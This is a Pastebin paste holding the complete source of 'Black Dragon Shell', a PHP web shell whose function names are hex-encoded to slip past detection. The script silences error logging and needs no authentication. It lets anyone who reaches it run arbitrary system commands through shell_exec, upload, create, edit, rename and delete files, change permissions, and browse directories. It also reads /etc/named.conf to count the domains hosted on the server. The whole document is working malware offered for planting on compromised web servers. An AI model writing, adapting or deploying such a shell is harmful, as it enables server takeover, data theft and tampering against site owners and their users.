Advertisement
willysec_id

Black Dragon Shell

May 20th, 2022
815
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3.           /**
  4.             * Responsive Webshell
  5.           **/
  6.  
  7. $a =   [
  8.         "7068705F756E616D65", # [0]
  9.        "73657373696F6E5F7374617274", # [1]
  10.        "6572726F725F7265706F7274696E67", # [2]
  11.        "70687076657273696F6E", # [3]
  12.        "66696C655F7075745F636F6E74656E7473", # [4]
  13.        "66696C655F6765745F636F6E74656E7473", # [5]
  14.        "66696C657065726D73", # [6]
  15.        "66696C656D74696D65", # [7]
  16.        "66696C6574797065", # [8]
  17.        "68746D6C7370656369616C6368617273", # [9]
  18.        "737072696E7466", # [10]
  19.        "737562737472", # [11]
  20.        "676574637764", # [12]
  21.        "6368646972", # [13]
  22.        "7374725F7265706C616365", # [14]
  23.        "6578706C6F6465", # [15]
  24.        "666C617368", # [16]
  25.        "6D6F76655F75706C6F616465645F66696C65", # [17]
  26.        "7363616E646972", # [18]
  27.        "676574686F737462796E616D65", # [19]
  28.        "7368656C6C5F65786563", # [20]
  29.        "53797374656D20496E666F726D6174696F6E", # [21]
  30.        "6469726E616D65", # [22]
  31.        "64617465", # [23]
  32.        "6D696D655F636F6E74656E745F74797065", # [24]
  33.        "66756E6374696F6E5F657869737473", # [25]
  34.        "6673697A65", # [26]
  35.        "726D646972", # [27]
  36.        "756E6C696E6B", # [28]
  37.        "6D6B646972", # [29]
  38.        "72656E616D65", # [30]
  39.        "7365745F74696D655F6C696D6974", # [31]
  40.        "636C656172737461746361636865", # [32]
  41.        "696E695F736574", # [33]
  42.        "696E695F676574", # [34]
  43.        "6765744F776E6572", # [35]
  44.        "6765745F63757272656E745F75736572", # [36]
  45.        "66696C65", # [37]
  46.        "707265675F6D617463685F616C6C", # [38]
  47.        "666C757368", # [39]
  48.        "7472696D" # [40]
  49.    ];
  50.  
  51. for ($i = 0; $i < count($a); $i++) {
  52.   $f[$i] = hex($a[$i]);
  53. }
  54.  
  55. $f[1]();
  56. $f[2](0);
  57. $f[31](0);
  58. @$f[32]();
  59. @$f[33]('error_log', null);
  60. @$f[33]('log_errors', 0);
  61. @$f[33]('max_execution_time', 0);
  62. @$f[33]('output_buffering', 0);
  63. @$f[33]('display_errors', 0);
  64.  
  65. function fsize($file) {
  66.   $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  67.   $pos = 0;
  68.   $size = filesize($file);
  69.   while ($size >= 1024) {
  70.     $size /= 1024;
  71.     $pos++;
  72.   }
  73.   return round($size, 2)." ".$a[$pos];
  74. }
  75.  
  76. function hex($str) {
  77.   $r = "";
  78.   $len = (strlen($str) - 1);
  79.   for ($i = 0; $i < $len; $i += 2) {
  80.     $r .= chr(hexdec($str[$i].$str[$i + 1]));
  81.   }
  82.   return $r;
  83. }
  84.  
  85. function flash($message, $status, $class, $redirect = false) {
  86.   if (!empty($_SESSION["message"])) {
  87.     unset($_SESSION["message"]);
  88.   }
  89.   if (!empty($_SESSION["class"])) {
  90.     unset($_SESSION["class"]);
  91.   }
  92.   if (!empty($_SESSION["status"])) {
  93.     unset($_SESSION["status"]);
  94.   }
  95.   $_SESSION["message"] = $message;
  96.   $_SESSION["class"] = $class;
  97.   $_SESSION["status"] = $status;
  98.   if ($redirect) {
  99.     header('Location: ' . $redirect);
  100.     exit();
  101.   }
  102.   return true;
  103. }
  104.  
  105. function clear() {
  106.   if (!empty($_SESSION["message"])) {
  107.     unset($_SESSION["message"]);
  108.   }
  109.   if (!empty($_SESSION["class"])) {
  110.     unset($_SESSION["class"]);
  111.   }
  112.   if (!empty($_SESSION["status"])) {
  113.     unset($_SESSION["status"]);
  114.   }
  115.   return true;
  116. }
  117.  
  118. if (isset($_GET['dir'])) {
  119.   $path = $_GET['dir'];
  120.   $f[13]($_GET['dir']);
  121. } else {
  122.   $path = $f[12]();
  123. }
  124.  
  125. $path = $f[14]('\\', '/', $path);
  126. $exdir = $f[15]('/', $path);
  127.  
  128. function getOwner($item) {
  129.     if (function_exists("posix_getpwuid")) {
  130.         $downer = @posix_getpwuid(fileowner($item));
  131.         $downer = $downer['name'];
  132.     } else {
  133.         $downer = fileowner($item);
  134.     }
  135.     if (function_exists("posix_getgrgid")) {
  136.         $dgrp = @posix_getgrgid(filegroup($item));
  137.         $dgrp = $dgrp['name'];
  138.     } else {
  139.         $dgrp = filegroup($item);
  140.     }
  141.     return $downer . '/' . $dgrp;
  142. }
  143.  
  144. if (isset($_POST['newFolderName'])) {
  145.   if ($f[29]($path . '/' . $_POST['newFolderName'])) {
  146.     $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
  147.   } else {
  148.     $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
  149.   }
  150. }
  151. if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  152.   if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) {
  153.     $f[16]("Create File Successfully!", "Success", "success", "?dir=$path");
  154.   } else {
  155.     $f[16]("Create File Failed", "Failed", "error", "?dir=$path");
  156.   }
  157. }
  158.  
  159. if (isset($_POST['newName']) && isset($_GET['item'])) {
  160.   if ($_POST['newName'] == '') {
  161.     $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  162.   }
  163.   if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
  164.     $f[16]("Rename Successfully!", "Success", "success", "?dir=$path");
  165.   } else {
  166.     $f[16]("Rename Failed", "Failed", "error", "?dir=$path");
  167.   }
  168. }
  169. if (isset($_POST['newContent']) && isset($_GET['item'])) {
  170.   if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
  171.     $f[16]("Edit Successfully!", "Success", "success", "?dir=$path");
  172.   } else {
  173.     $f[16]("Edit Failed", "Failed", "error", "?dir=$path");
  174.   }
  175. }
  176. if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  177.   if ($_POST['newPerm'] == '') {
  178.     $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  179.   }
  180.   if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
  181.     $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
  182.   } else {
  183.     $f[16]("Change Permission", "Failed", "error", "?dir=$path");
  184.   }
  185. }
  186. if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  187.   if (is_dir($_GET['item'])) {
  188.     if ($f[27]($_GET['item'])) {
  189.       $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
  190.     } else {
  191.       $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
  192.     }
  193.   } else {
  194.     if ($f[28]($_GET['item'])) {
  195.       $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
  196.     } else {
  197.       $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
  198.     }
  199.   }
  200. }
  201. if (isset($_FILES['uploadfile'])) {
  202.   $total = count($_FILES['uploadfile']['name']);
  203.   for ($i = 0; $i < $total; $i++) {
  204.     $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  205.   }
  206.   if ($total < 2) {
  207.     if ($mainupload) {
  208.       $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
  209.     } else {
  210.       $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
  211.     }
  212.   }
  213.   else{
  214.     if ($mainupload) {
  215.       $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
  216.     } else {
  217.       $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
  218.     }
  219.   }
  220. }
  221.  
  222. $dirs = $f[18]($path);
  223.  
  224. $d0mains = @$f[37]("/etc/named.conf", false);
  225. if (!$d0mains){
  226.     $dom = "Cant read /etc/named.conf";
  227.     $GLOBALS["need_to_update_header"] = "true";
  228. }else{
  229.     $count = 0;
  230.     foreach ($d0mains as $d0main){
  231.         if (@strstr($d0main, "zone")){
  232.             $f[38]('#zone "(.*)"#', $d0main, $domains);
  233.             $f[39]();
  234.             if (strlen($f[40]($domains[1][0])) > 2){
  235.                 $f[39]();
  236.                 $count++;
  237.             }
  238.         }
  239.     }
  240.     $dom = "$count Domain";
  241. }
  242. ?>
  243. <html>
  244. <head>
  245.   <meta charset="utf-8">
  246.   <meta name="viewport" content="width=device-width, initial-scale=1">
  247.   <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  248.   <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  249.   <title><?= $_SERVER['SERVER_NAME'] ?>&#58;<?= $_SERVER['SERVER_PORT'] ?></title>
  250. </head>
  251.  
  252. <body class="bg-dark text-light">
  253.   <div class="container-fluid">
  254.     <div class="py-3" id="main">
  255.       <div class="box shadow bg-dark p-4 rounded-3">
  256.         <div class="info mb-3">
  257.             <i class="fa fa-server"></i>&ensp;<?= $f[0]() ?><br>
  258.             <i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
  259.             <i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?><br>
  260.           <i class="fa fa-fingerprint"></i>&ensp;<?= $dom ?>
  261.         </div>
  262.         <div class="breadcrumb">
  263.           <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) :
  264.                         if ($pat == '' && $id == 0):
  265.                     ?>
  266.                     <a href="?dir=/" class="text-decoration-none text-light">/</a>
  267.                     <?php endif; if ($pat == '') continue; ?>
  268.                     <?php if ($id + 1 == count($exdir)) : ?>
  269.                     <span class="text-secondary"><?= $pat ?></span>
  270.                     <?php else : ?>
  271.                     <a href="?dir=
  272.                     <?php
  273.                     for ($i = 0; $i <= $id; $i++) {
  274.                         echo "$exdir[$i]";
  275.                         if ($i != $id) echo "/";
  276.                     }
  277.                     ?>
  278.                     " class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
  279.           <?php endif; ?>
  280.           <?php endforeach; ?>
  281.           <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
  282.         </div>
  283.         <div class="d-flex justify-content-between">
  284.           <div class="p-2">
  285.             <form action="" method="post">
  286.               <div class="row">
  287.                 <div class="col-md-9 mb-3">
  288.                   <input type="text" class="form-control form-control-sm" name="command" placeholder="Command">
  289.                 </div>
  290.                 <div class="col-md-3">
  291.                   <button type="submit" class="btn btn-outline-light btn-sm">Exec</button>
  292.                 </div>
  293.               </div>
  294.             </form>
  295.           </div>
  296.           <div class="p-2">
  297.             <form action="" method="post" enctype="multipart/form-data">
  298.               <div class="row">
  299.                 <div class="col-md-9 mb-3">
  300.                   <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
  301.                 </div>
  302.                 <div class="col-md-3">
  303.                   <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
  304.                 </div>
  305.               </div>
  306.             </form>
  307.           </div>
  308.         </div>
  309.         <div class="container" id="tools">
  310.           <?php if (isset($_POST['command'])) : ?>
  311.           <div class="row justify-content-center">
  312.             <pre><?= $f[20]($_POST['command']) ?></pre>
  313.           </div>
  314.           <?php endif; ?>
  315.           <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
  316.           <div class="row justify-content-center">
  317.             <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
  318.             <form action="" method="post">
  319.               <div class="mb-3">
  320.                 <label for="name" class="form-label">New Name</label>
  321.                 <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
  322.               </div>
  323.               <button type="submit" class="btn btn-outline-light">Submit</button>
  324.               <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  325.             </form>
  326.             <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
  327.             <form action="" method="post">
  328.               <div class="mb-3">
  329.                 <label for="name" class="form-label"><?= $_GET['item'] ?></label>
  330.                 <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
  331.               </div>
  332.               <button type="submit" class="btn btn-outline-light">Submit</button>
  333.               <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
  334.               <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  335.             </form>
  336.             <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
  337.             <div class="mb-3">
  338.               <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
  339.               <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
  340.               <br>
  341.               <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  342.             </div>
  343.             <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
  344.             <form action="" method="post">
  345.               <div class="mb-3">
  346.                 <label for="name" class="form-label"><?= $_GET['item'] ?></label>
  347.                 <input type="text" class="form-control" name="newPerm" value="<?= $f[11]($f[10]('%o', $f[6]($_GET['item'])), -4); ?>">
  348.               </div>
  349.               <button type="submit" class="btn btn-outline-light">Submit</button>
  350.               <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  351.             </form>
  352.             <?php endif; ?>
  353.           </div>
  354.           <?php endif; ?>
  355.           <div class="row justify-content-center">
  356.             <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
  357.               <form action="" method="post">
  358.                 <div class="mb-3">
  359.                   <label for="name" class="form-label">Folder Name</label>
  360.                   <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
  361.                 </div>
  362.                 <button type="submit" class="btn btn-outline-light">Submit</button>
  363.               </form>
  364.             </div>
  365.             <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
  366.               <form action="" method="post">
  367.                 <div class="mb-3">
  368.                   <label for="name" class="form-label">File Name</label>
  369.                   <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
  370.                 </div>
  371.                 <div class="mb-3">
  372.                   <label for="name" class="form-label">File Content</label>
  373.                   <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
  374.                 </div>
  375.                 <button type="submit" class="btn btn-outline-light">Submit</button>
  376.               </form>
  377.             </div>
  378.           </div>
  379.         </div>
  380.         <div class="table-responsive">
  381.           <table class="table table-hover table-dark text-light">
  382.             <thead>
  383.               <tr>
  384.                 <td style="width:35%">Name</td>
  385.                 <td style="width:10%">Type</td>
  386.                 <td style="width:10%">Size</td>
  387.                 <td style="width:13%">Owner/Group</td>
  388.                 <td style="width:10%">Permission</td>
  389.                 <td style="width:13%">Last Modified</td>
  390.                 <td style="width:9%">Actions</td>
  391.               </tr>
  392.             </thead>
  393.             <tbody class="text-nowrap">
  394.               <?php
  395.                 foreach ($dirs as $dir) :
  396.                   if (!is_dir($dir)) continue;
  397.               ?>
  398.               <tr>
  399.                 <td>
  400.                   <?php if ($dir === '..') : ?>
  401.                   <a href="?dir=<?= $f[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
  402.                   <?php elseif ($dir === '.') :  ?>
  403.                   <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
  404.                   <?php else : ?>
  405.                   <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
  406.                   <?php endif; ?>
  407.                 </td>
  408.                 <td class="text-light"><?= $f[8]($dir) ?></td>
  409.                 <td class="text-light">-</td>
  410.                 <td class="text-light"><?= $f[35]($dir) ?></td>
  411.                 <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
  412.                 <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
  413.                 <td>
  414.                   <?php if ($dir != '.' && $dir != '..') : ?>
  415.                   <div class="btn-group">
  416.                     <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
  417.                     <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
  418.                     <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
  419.                   </div>
  420.                   <?php elseif ($dir === '.') : ?>
  421.                   <div class="btn-group">
  422.                     <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
  423.                     <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
  424.                   </div>
  425.                   <?php endif; ?>
  426.                 </td>
  427.               </tr>
  428.               <?php endforeach; ?>
  429.               <?php
  430.                 foreach ($dirs as $dir) :
  431.                   if (!is_file($dir)) continue;
  432.               ?>
  433.               <tr>
  434.                 <td>
  435.                   <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
  436.                 </td>
  437.                 <td class="text-light"><?= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?></td>
  438.                 <td class="text-light"><?= $f[26]($dir) ?></td>
  439.                 <td class="text-light"><?= $f[35]($dir) ?></td>
  440.                 <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
  441.                 <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
  442.                 <td>
  443.                   <?php if ($dir != '.' && $dir != '..') : ?>
  444.                   <div class="btn-group">
  445.                     <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
  446.                     <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
  447.                     <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
  448.                     <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
  449.                   </div>
  450.                   <?php endif; ?>
  451.                 </td>
  452.               </tr>
  453.               <?php endforeach; ?>
  454.             </tbody>
  455.           </table>
  456.         </div>
  457.         <div class="text-light">&#169; BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
  458.       </div>
  459.     </div>
  460.   </div>
  461.   <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  462.   <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  463.   <script>
  464.   <?php if (isset($_SESSION['message'])) : ?>
  465.         Swal.fire(
  466.           '<?= $_SESSION['status'] ?>',
  467.           '<?= $_SESSION['message'] ?>',
  468.           '<?= $_SESSION['class'] ?>'
  469.         )
  470.   <?php endif; clear(); ?>
  471.     function deleteConfirm(url) {
  472.       event.preventDefault()
  473.       Swal.fire({
  474.           title: 'Are you sure?',
  475.           icon: 'warning',
  476.           showCancelButton: true,
  477.           confirmButtonColor: '#3085d6',
  478.           cancelButtonColor: '#d33',
  479.           confirmButtonText: 'Yes, delete it!'
  480.       }).then((result) => {
  481.           if (result.isConfirmed) {
  482.             window.location.href = url
  483.         }
  484.       })
  485.     }
  486.     function jscopy() {
  487.       var jsCopy = document.getElementById("CopyFromTextArea");
  488.       jsCopy.focus();
  489.       jsCopy.select();
  490.       document.execCommand("copy");
  491.     }
  492.   </script>
  493. </body>
  494. </html>
Advertisement
RAW Paste Data Copied
Advertisement